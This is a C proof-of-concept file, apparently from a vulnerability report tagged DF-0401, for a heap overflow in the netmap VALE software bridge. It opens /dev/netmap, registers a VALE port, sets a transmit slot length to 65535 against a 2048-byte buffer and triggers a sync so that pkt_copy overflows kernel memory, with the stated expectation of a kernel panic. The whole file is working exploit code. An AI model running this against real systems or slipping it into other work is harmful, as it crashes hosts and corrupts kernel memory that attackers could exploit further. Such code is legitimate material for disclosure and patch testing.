/*
 * DF-0401 PoC: VALE bridge heap overflow via unchecked slot->len
 *
 * Requires /dev/netmap access (root or wheel group).
 * Creates a VALE port, sets slot->len to a large value, and triggers
 * forwarding which causes pkt_copy to overflow the destination buffer.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

/* Minimal netmap headers */
#include <net/netmap.h>
#include <net/netmap_user.h>

#define OVERFLOW_LEN 65535

int main(void)
{
    struct nmreq nmr;
    void *mem;
    int fd;

    fd = open("/dev/netmap", O_RDWR);
    if (fd < 0) {
        perror("open /dev/netmap");
        return 1;
    }

    /* Register a VALE port */
    memset(&nmr, 0, sizeof(nmr));
    nmr.nr_version = NETMAP_API;
    nmr.nr_flags = NR_REG_ALL_NIC;
    strcpy(nmr.nr_name, "vale1:0");

    if (ioctl(fd, NIOCREGIF, &nmr) < 0) {
        perror("NIOCREGIF");
        close(fd);
        return 1;
    }

    /* mmap the netmap memory */
    mem = mmap(NULL, nmr.nr_memsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    /* Get the TX ring */
    struct netmap_ring *txring;
    txring = NETMAP_TXRING(mem, nmr.nr_tx_rings);

    /* Fill a TX slot with an oversized length */
    int idx = txring->cur;
    txring->slot[idx].len = OVERFLOW_LEN;  /* NO bounds check in VALE! */
    txring->slot[idx].flags = 0;

    /* Fill the buffer with pattern */
    char *buf = NETMAP_BUF(txring, txring->slot[idx].buf_idx);
    memset(buf, 'A', OVERFLOW_LEN);

    /* Advance cur to trigger processing */
    txring->head = idx;
    txring->cur = idx + 1;
    txring->tail = idx + 1;

    printf("Triggering VALE forwarding with slot->len=%d (buffer is 2048)...\n",
           OVERFLOW_LEN);

    /* Sync to trigger nm_bdg_preflush -> nm_bdg_flush -> pkt_copy overflow */
    ioctl(fd, NIOCTXSYNC, NULL);

    printf("ioctl returned (kernel should have panicked)\n");

    munmap(mem, nmr.nr_memsize);
    close(fd);
    return 0;
}
